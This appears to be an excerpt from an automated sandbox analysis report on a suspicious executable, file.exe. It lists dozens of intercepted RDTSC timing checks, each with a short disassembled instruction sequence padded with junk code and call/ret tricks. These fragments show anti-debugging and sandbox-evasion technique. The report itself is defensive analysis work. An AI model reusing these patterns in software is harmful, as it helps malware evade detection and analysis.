Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A056BD second address: A056C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A039B0 second address: A039BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jno 00007FE9A87AE1E6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A01945 second address: A019B3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE9A929865Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push esi 0x0000000f call 00007FE9A9298658h 0x00000014 pop esi 0x00000015 mov dword ptr [esp+04h], esi 0x00000019 add dword ptr [esp+04h], 0000001Bh 0x00000021 inc esi 0x00000022 push esi 0x00000023 ret 0x00000024 pop esi 0x00000025 ret 0x00000026 mov dword ptr [ebp+122D2A10h], eax 0x0000002c push dword ptr fs:[00000000h] 0x00000033 add ebx, dword ptr [ebp+122D34B3h] 0x00000039 mov dword ptr fs:[00000000h], esp 0x00000040 mov ebx, dword ptr [ebp+122D35DDh] 0x00000046 clc 0x00000047 mov eax, dword ptr [ebp+122D0125h] 0x0000004d sub dword ptr [ebp+122D35DDh], eax 0x00000053 push FFFFFFFFh 0x00000055 push ecx 0x00000056 mov bl, 1Bh 0x00000058 pop ebx 0x00000059 cld 0x0000005a nop 0x0000005b pushad 0x0000005c push edi 0x0000005d push eax 0x0000005e push edx 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A056C1 second address: A056D7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FE9A87AE1EDh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A056D7 second address: A0573F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 jno 00007FE9A9298662h 0x0000000d nop 0x0000000e mov dword ptr [ebp+122D3522h], edi 0x00000014 push 00000000h 0x00000016 or edi, dword ptr [ebp+122D3992h] 0x0000001c push 00000000h 0x0000001e push 00000000h 0x00000020 push ecx 0x00000021 call 00007FE9A9298658h 0x00000026 pop ecx 0x00000027 mov dword ptr [esp+04h], ecx 0x0000002b add dword ptr [esp+04h], 00000014h 0x00000033 inc ecx 0x00000034 push ecx 0x00000035 ret 0x00000036 pop ecx 0x00000037 ret 0x00000038 xor ebx, dword ptr [ebp+122D18CFh] 0x0000003e xchg eax, esi 0x0000003f push eax 0x00000040 push edx 0x00000041 jmp 00007FE9A9298669h 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0573F second address: A05745 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A05745 second address: A05749 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A05749 second address: A05766 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FE9A87AE1E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FE9A87AE1EEh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A05899 second address: A058CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE9A9298669h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FE9A9298661h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A05992 second address: A059BE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE9A87AE1F3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FE9A87AE1F1h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0756C second address: A0758D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE9A9298667h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0679B second address: A067AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jo 00007FE9A87AE1E8h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e push eax 0x0000000f pushad 0x00000010 push edi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A085B9 second address: A085BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A085BD second address: A085EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 mov dword ptr [esp], eax 0x0000000a adc di, 475Ch 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 xor edi, dword ptr [ebp+122D386Ah] 0x00000019 add edi, dword ptr [ebp+122D3B7Eh] 0x0000001f push eax 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007FE9A87AE1EBh 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0A623 second address: A0A629 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0A629 second address: A0A6B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b jng 00007FE9A87AE1ECh 0x00000011 add edi, dword ptr [ebp+122D304Ch] 0x00000017 push 00000000h 0x00000019 push 00000000h 0x0000001b push ebp 0x0000001c call 00007FE9A87AE1E8h 0x00000021 pop ebp 0x00000022 mov dword ptr [esp+04h], ebp 0x00000026 add dword ptr [esp+04h], 0000001Bh 0x0000002e inc ebp 0x0000002f push ebp 0x00000030 ret 0x00000031 pop ebp 0x00000032 ret 0x00000033 mov dword ptr [ebp+124552DAh], esi 0x00000039 pushad 0x0000003a jbe 00007FE9A87AE1ECh 0x00000040 mov edi, dword ptr [ebp+12455A74h] 0x00000046 mov esi, 18966D33h 0x0000004b popad 0x0000004c push 00000000h 0x0000004e push 00000000h 0x00000050 push esi 0x00000051 call 00007FE9A87AE1E8h 0x00000056 pop esi 0x00000057 mov dword ptr [esp+04h], esi 0x0000005b add dword ptr [esp+04h], 0000001Ah 0x00000063 inc esi 0x00000064 push esi 0x00000065 ret 0x00000066 pop esi 0x00000067 ret 0x00000068 mov bh, 54h 0x0000006a xchg eax, esi 0x0000006b push eax 0x0000006c push edx 0x0000006d pushad 0x0000006e pushad 0x0000006f popad 0x00000070 jo 00007FE9A87AE1E6h 0x00000076 popad 0x00000077 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0A6B1 second address: A0A6D6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push esi 0x00000006 pop esi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c jmp 00007FE9A9298666h 0x00000011 push ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0B74D second address: A0B778 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007FE9A87AE1E6h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FE9A87AE1F9h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0B8B4 second address: A0B8B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0B8B8 second address: A0B8BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0E771 second address: A0E7E8 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jno 00007FE9A9298662h 0x0000000f nop 0x00000010 jne 00007FE9A929865Ch 0x00000016 push 00000000h 0x00000018 push 00000000h 0x0000001a push ebx 0x0000001b call 00007FE9A9298658h 0x00000020 pop ebx 0x00000021 mov dword ptr [esp+04h], ebx 0x00000025 add dword ptr [esp+04h], 00000015h 0x0000002d inc ebx 0x0000002e push ebx 0x0000002f ret 0x00000030 pop ebx 0x00000031 ret 0x00000032 sub bl, 00000065h 0x00000035 push 00000000h 0x00000037 push 00000000h 0x00000039 push ebx 0x0000003a call 00007FE9A9298658h 0x0000003f pop ebx 0x00000040 mov dword ptr [esp+04h], ebx 0x00000044 add dword ptr [esp+04h], 00000019h 0x0000004c inc ebx 0x0000004d push ebx 0x0000004e ret 0x0000004f pop ebx 0x00000050 ret 0x00000051 mov di, ax 0x00000054 push eax 0x00000055 push eax 0x00000056 push edx 0x00000057 push eax 0x00000058 push edx 0x00000059 push ebx 0x0000005a pop ebx 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0E7E8 second address: A0E7FF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE9A87AE1F3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0E7FF second address: A0E804 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A086C8 second address: A0878D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE9A87AE1F6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c add di, BAD2h 0x00000011 call 00007FE9A87AE1EFh 0x00000016 xor dword ptr [ebp+122D2901h], ecx 0x0000001c pop edi 0x0000001d push dword ptr fs:[00000000h] 0x00000024 push 00000000h 0x00000026 push ebp 0x00000027 call 00007FE9A87AE1E8h 0x0000002c pop ebp 0x0000002d mov dword ptr [esp+04h], ebp 0x00000031 add dword ptr [esp+04h], 0000001Dh 0x00000039 inc ebp 0x0000003a push ebp 0x0000003b ret 0x0000003c pop ebp 0x0000003d ret 0x0000003e sub dword ptr [ebp+122D3052h], edi 0x00000044 mov dword ptr fs:[00000000h], esp 0x0000004b mov dword ptr [ebp+12481A39h], esi 0x00000051 mov di, cx 0x00000054 mov eax, dword ptr [ebp+122D0449h] 0x0000005a push 00000000h 0x0000005c push ebx 0x0000005d call 00007FE9A87AE1E8h 0x00000062 pop ebx 0x00000063 mov dword ptr [esp+04h], ebx 0x00000067 add dword ptr [esp+04h], 00000019h 0x0000006f inc ebx 0x00000070 push ebx 0x00000071 ret 0x00000072 pop ebx 0x00000073 ret 0x00000074 mov ebx, dword ptr [ebp+122D3608h] 0x0000007a push FFFFFFFFh 0x0000007c nop 0x0000007d jmp 00007FE9A87AE1F0h 0x00000082 push eax 0x00000083 push eax 0x00000084 push edx 0x00000085 jl 00007FE9A87AE1E8h 0x0000008b pushad 0x0000008c popad 0x0000008d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0878D second address: A0879D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE9A929865Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0C936 second address: A0C93C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0F8C4 second address: A0F8CA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0C93C second address: A0C94A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0C94A second address: A0C94E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0F8CA second address: A0F93C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push edi 0x0000000e call 00007FE9A87AE1E8h 0x00000013 pop edi 0x00000014 mov dword ptr [esp+04h], edi 0x00000018 add dword ptr [esp+04h], 00000015h 0x00000020 inc edi 0x00000021 push edi 0x00000022 ret 0x00000023 pop edi 0x00000024 ret 0x00000025 mov dword ptr [ebp+122D343Fh], edi 0x0000002b push 00000000h 0x0000002d push 00000000h 0x0000002f push ecx 0x00000030 call 00007FE9A87AE1E8h 0x00000035 pop ecx 0x00000036 mov dword ptr [esp+04h], ecx 0x0000003a add dword ptr [esp+04h], 00000017h 0x00000042 inc ecx 0x00000043 push ecx 0x00000044 ret 0x00000045 pop ecx 0x00000046 ret 0x00000047 jns 00007FE9A87AE1ECh 0x0000004d movsx ebx, di 0x00000050 push 00000000h 0x00000052 xor bh, FFFFFFADh 0x00000055 xchg eax, esi 0x00000056 push eax 0x00000057 push edx 0x00000058 jo 00007FE9A87AE1ECh 0x0000005e jp 00007FE9A87AE1E6h 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0F93C second address: A0F953 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jp 00007FE9A929865Ch 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0F953 second address: A0F959 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0F959 second address: A0F95D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0DA01 second address: A0DA07 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0DADC second address: A0DAE2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A13015 second address: A1301B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1301B second address: A13035 instructions: 0x00000000 rdtsc 0x00000002 je 00007FE9A929865Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jc 00007FE9A9298664h 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A13035 second address: A1303B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1826B second address: A18271 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A18271 second address: A1828E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE9A87AE1F5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1828E second address: A18292 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1C903 second address: A1C90C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1C90C second address: A1C91C instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FE9A9298656h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1C91C second address: A1C938 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE9A87AE1F8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1C938 second address: A1C947 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a push esi 0x0000000b pop esi 0x0000000c push esi 0x0000000d pop esi 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1FD79 second address: A1FD97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 mov eax, dword ptr [eax] 0x00000007 push eax 0x00000008 push edx 0x00000009 ja 00007FE9A87AE1F5h 0x0000000f jmp 00007FE9A87AE1EFh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A26B12 second address: A26B18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A26B18 second address: A26B1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A26B1C second address: A26B29 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FE9A9298656h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A26B29 second address: A26B49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007FE9A87AE1F5h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A26B49 second address: A26B5A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jbe 00007FE9A9298656h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A25D5E second address: A25D7A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnl 00007FE9A87AE1E6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pushad 0x0000000e push esi 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 pushad 0x00000012 popad 0x00000013 pop esi 0x00000014 push eax 0x00000015 push edx 0x00000016 jnp 00007FE9A87AE1E6h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A25D7A second address: A25D80 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A25FF9 second address: A25FFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A25FFF second address: A26028 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FE9A9298656h 0x0000000a popad 0x0000000b jne 00007FE9A929865Ah 0x00000011 push edx 0x00000012 pop edx 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 jmp 00007FE9A9298661h 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A26312 second address: A26329 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE9A87AE1F3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A26329 second address: A26335 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jp 00007FE9A9298656h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A26499 second address: A264AF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE9A87AE1EFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A264AF second address: A264B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A264B5 second address: A264C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FE9A87AE1E6h 0x0000000a jnp 00007FE9A87AE1E6h 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A264C6 second address: A26511 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FE9A9298664h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FE9A9298667h 0x00000012 jmp 00007FE9A9298668h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A266B3 second address: A266BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A266BB second address: A266C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 js 00007FE9A9298656h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A266C9 second address: A266D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FE9A87AE1E6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A26845 second address: A2684A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2684A second address: A26850 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A269D0 second address: A269D6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B7B1F second address: 9B7B30 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE9A87AE1EBh 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2B23E second address: A2B250 instructions: 0x00000000 rdtsc 0x00000002 js 00007FE9A9298656h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jp 00007FE9A929865Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2B250 second address: A2B257 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2B549 second address: A2B54F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2B7E7 second address: A2B808 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE9A87AE1F7h 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2AF62 second address: A2AF66 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2AF66 second address: A2AF6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2BD8B second address: A2BD97 instructions: 0x00000000 rdtsc 0x00000002 js 00007FE9A929865Eh 0x00000008 push edi 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2BD97 second address: A2BDC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE9A87AE1F1h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FE9A87AE1ECh 0x00000013 jng 00007FE9A87AE1E6h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2BF1E second address: A2BF26 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2F843 second address: A2F847 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2F847 second address: A2F84D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
